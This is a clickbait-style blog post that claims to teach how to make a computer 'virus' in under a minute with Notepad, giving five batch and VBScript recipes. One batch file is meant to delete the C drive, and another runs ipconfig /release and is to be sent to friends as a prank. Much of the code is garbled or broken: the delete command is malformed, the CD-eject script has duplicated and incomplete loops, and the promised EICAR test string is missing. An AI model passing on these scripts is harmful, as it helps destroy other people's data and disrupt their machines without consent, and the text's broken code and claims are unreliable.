How To Create Computer Virus In Less Than 60 Seconds

How To Create Computer Virus In Less Than 60 Seconds


Learn how to create a computer virus in less than 60 seconds: Almost every computer or laptop user has faced virus attack at least once in their life for sure, and we all know what is virus. Today we are going to describe five ways to create a virus in less than a minute. Go through the post to know about it.

Today we are here with the method to Create a Virus in Less Than 60 seconds. Today in every second, a person is using a computer and almost every one of them knows about a virus. The virus is a malicious program that enters into the computer without your permission and can affect your data and operating system. Well, viruses are of different types as there are trojan horses and much more. However, have you ever thought about creating a virus? You can create one within seconds, and it is possible with some simple methods that I am going to discuss in this post.

How To Create Computer Virus in Less Than 60 Seconds

Many of you will think the methods must be on coding, but there is nothing like that. The tricks are based on the notepad. Just follow the below steps for creating a virus within a minute.

1. Creating a Dangerous Virus

Step 1. First of all, in your Windows OS, open the notepad.


Step 2. Now copy and paste the below code in your notepad screen.

@Echo off
Del C: *.* |y


Step 3. Now save this file as virus.bat (you can select any of random name but .bat after that must be there).


Now running the file will delete the C drive completely, and the operating system of the respective computer will get corrupted.

Note: This method is only for knowledge purpose. Dont try this on your computer as it will completely format your C drive.

2. Creating a Harmless Cdrom Virus

Open Notepad and Paste the following code into it and save it as CD-ROM.vbs or anything *.vbs

Set oWMP = CreateObject(WMPlayer.OCX.7)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count 1
For i = 0 to colCDROMs.Count 1
End If
wscript.sleep 5000


When you double click on this file, you will be amazed at what this simple, harmless virus can do. Your CD/DVD drives will get continuously ejected.

To stop this virus, you need to open Task Manager and select process tab and end the wscript.exe file.

3. Create a Virus To Test Your Antivirus

Open notepad and paste the given code and simply save the file as EICAR.COM



If you have an active antivirus, then your antivirus program will simply remove this file in no-time. This is the harmless virus that is used to check the security level of your antivirus

4. Virus To Stop Someones Internet Access

This is a harmless virus and it will not destroy your PC. You can use this trick to prank your friends. This virus stops anyones internet access. You need to type
the following code in the notepad.

@Echo off
Ipconfig /release


Now Save the file as a .bat format like internet.bat and sent it to your friends.  The IP address will be lost, and therefore they wont be able to fix it.

Well, if you want to fix it. Simply type in IPconfig /renew

5. Creating a Matrix Type screen

Well, its not a virus. It is just a simple notepad trick that will let you see the string of green characters appearing randomly. It has nothing to do with your computer registry, batch, etc. You can use this trick to scare your friend because the screen looks like a virus affected.

Simply open Notepad and type the following code into it.

@echo off
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start


Now save the file as Matrix.bat, and click on it and the show begins.

So this is all about How To Create a Virus in Less Than 60 seconds. By this method, you can easily create the harmful and harmless virus and can make your friends fool. If you have some more tricks like this, you can share with us. Hope you like the post! Dont forget to share this cool post with your friends.